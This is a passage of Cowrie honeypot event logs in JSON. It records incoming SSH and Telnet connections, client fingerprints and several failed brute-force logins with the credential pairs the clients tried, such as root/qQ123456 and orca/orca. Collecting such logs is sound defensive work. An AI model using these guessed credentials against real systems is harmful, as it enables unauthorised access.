{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":60794,"dst_ip":"159.203.135.109","dst_port":22,"session":"db85c10c533e","protocol":"ssh","message":"New connection: 31.40.204.166:60794 (159.203.135.109:22) [session: db85c10c533e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:13.020970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:13.025417Z","src_ip":"31.40.204.166","session":"db85c10c533e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:13.092411Z","src_ip":"43.156.227.3","session":"6d80606b9a5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33890,"dst_ip":"10.17.0.5","dst_port":23,"session":"328cd505b085","protocol":"telnet","message":"New connection: 152.42.224.71:33890 (10.17.0.5:23) [session: 328cd505b085]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:13.114261Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:13.216598Z","src_ip":"31.40.204.166","session":"db85c10c533e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qQ123456","message":"login attempt [root/qQ123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:13.726249Z","src_ip":"31.40.204.166","session":"db85c10c533e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33904,"dst_ip":"10.17.0.5","dst_port":23,"session":"74809dbfc641","protocol":"telnet","message":"New connection: 152.42.224.71:33904 (10.17.0.5:23) [session: 74809dbfc641]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:14.793857Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:14.900097Z","src_ip":"31.40.204.166","session":"db85c10c533e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33906,"dst_ip":"10.17.0.5","dst_port":23,"session":"41cd4e17e9a0","protocol":"telnet","message":"New connection: 152.42.224.71:33906 (10.17.0.5:23) [session: 41cd4e17e9a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:15.374099Z"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.115.94","src_port":35140,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc27851203e1","protocol":"ssh","message":"New connection: 119.28.115.94:35140 (159.203.135.109:22) [session: dc27851203e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:15.418103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:15.422953Z","src_ip":"119.28.115.94","session":"dc27851203e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:15.653537Z","src_ip":"119.28.115.94","session":"dc27851203e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.108.213","src_port":49718,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e47d12d363c","protocol":"ssh","message":"New connection: 101.36.108.213:49718 (159.203.135.109:22) [session: 0e47d12d363c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:15.776120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:15.785811Z","src_ip":"101.36.108.213","session":"0e47d12d363c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":21410,"dst_ip":"159.203.135.109","dst_port":22,"session":"d7406a1e1bf0","protocol":"ssh","message":"New connection: 194.59.206.2:21410 (159.203.135.109:22) [session: d7406a1e1bf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:15.985002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:15.991350Z","src_ip":"194.59.206.2","session":"d7406a1e1bf0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:16.013452Z","src_ip":"101.36.108.213","session":"0e47d12d363c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:16.083029Z","src_ip":"194.59.206.2","session":"d7406a1e1bf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:16.180209Z","src_ip":"194.59.206.2","session":"d7406a1e1bf0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cash123","message":"login attempt [root/cash123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:16.603890Z","src_ip":"119.28.115.94","session":"dc27851203e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome123$","message":"login attempt [root/welcome123$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:16.925562Z","src_ip":"101.36.108.213","session":"0e47d12d363c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:17.835363Z","src_ip":"119.28.115.94","session":"dc27851203e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:18.146178Z","src_ip":"101.36.108.213","session":"0e47d12d363c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":98.48267483711243,"message":"Connection lost after 98 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:22.751045Z","src_ip":"152.42.224.71","session":"cfd483000aad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":58038,"dst_ip":"159.203.135.109","dst_port":22,"session":"384456c61d2c","protocol":"ssh","message":"New connection: 31.40.204.166:58038 (159.203.135.109:22) [session: 384456c61d2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:25.180841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:25.189546Z","src_ip":"31.40.204.166","session":"384456c61d2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:25.317171Z","src_ip":"31.40.204.166","session":"384456c61d2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"orca","password":"orca","message":"login attempt [orca/orca] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:25.999521Z","src_ip":"31.40.204.166","session":"384456c61d2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:27.294060Z","src_ip":"31.40.204.166","session":"384456c61d2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.55654454231262,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:30.444243Z","src_ip":"152.42.224.71","session":"c87c5227a869","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.228.151","src_port":34810,"dst_ip":"159.203.135.109","dst_port":22,"session":"9818b9d239ea","protocol":"ssh","message":"New connection: 43.134.228.151:34810 (159.203.135.109:22) [session: 9818b9d239ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:30.871882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:30.877003Z","src_ip":"43.134.228.151","session":"9818b9d239ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:31.107562Z","src_ip":"43.134.228.151","session":"9818b9d239ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"www123456","message":"login attempt [root/www123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:32.060384Z","src_ip":"43.134.228.151","session":"9818b9d239ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:33.294816Z","src_ip":"43.134.228.151","session":"9818b9d239ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58498,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6a69faaf496","protocol":"telnet","message":"New connection: 152.42.224.71:58498 (10.17.0.5:23) [session: a6a69faaf496]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:33.629353Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58514,"dst_ip":"10.17.0.5","dst_port":23,"session":"5441002665fe","protocol":"telnet","message":"New connection: 152.42.224.71:58514 (10.17.0.5:23) [session: 5441002665fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:34.237065Z"}
{"eventid":"cowrie.session.closed","duration":44.92556142807007,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:34.925230Z","src_ip":"152.42.224.71","session":"caf587190837","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58516,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8b85001e7a2","protocol":"telnet","message":"New connection: 152.42.224.71:58516 (10.17.0.5:23) [session: a8b85001e7a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:35.671870Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":42996,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e9d7a43cc4a","protocol":"ssh","message":"New connection: 31.40.204.166:42996 (159.203.135.109:22) [session: 2e9d7a43cc4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:37.088765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:37.096439Z","src_ip":"31.40.204.166","session":"2e9d7a43cc4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:37.221221Z","src_ip":"31.40.204.166","session":"2e9d7a43cc4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lin","password":"123456","message":"login attempt [lin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:37.886459Z","src_ip":"31.40.204.166","session":"2e9d7a43cc4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:39.022083Z","src_ip":"31.40.204.166","session":"2e9d7a43cc4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":39464,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a001b5dffff","protocol":"ssh","message":"New connection: 103.98.149.87:39464 (159.203.135.109:22) [session: 2a001b5dffff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:43.325808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:43.332860Z","src_ip":"103.98.149.87","session":"2a001b5dffff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.01952290534973,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:22:43.813250Z","src_ip":"152.42.224.71","session":"74809dbfc641","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.c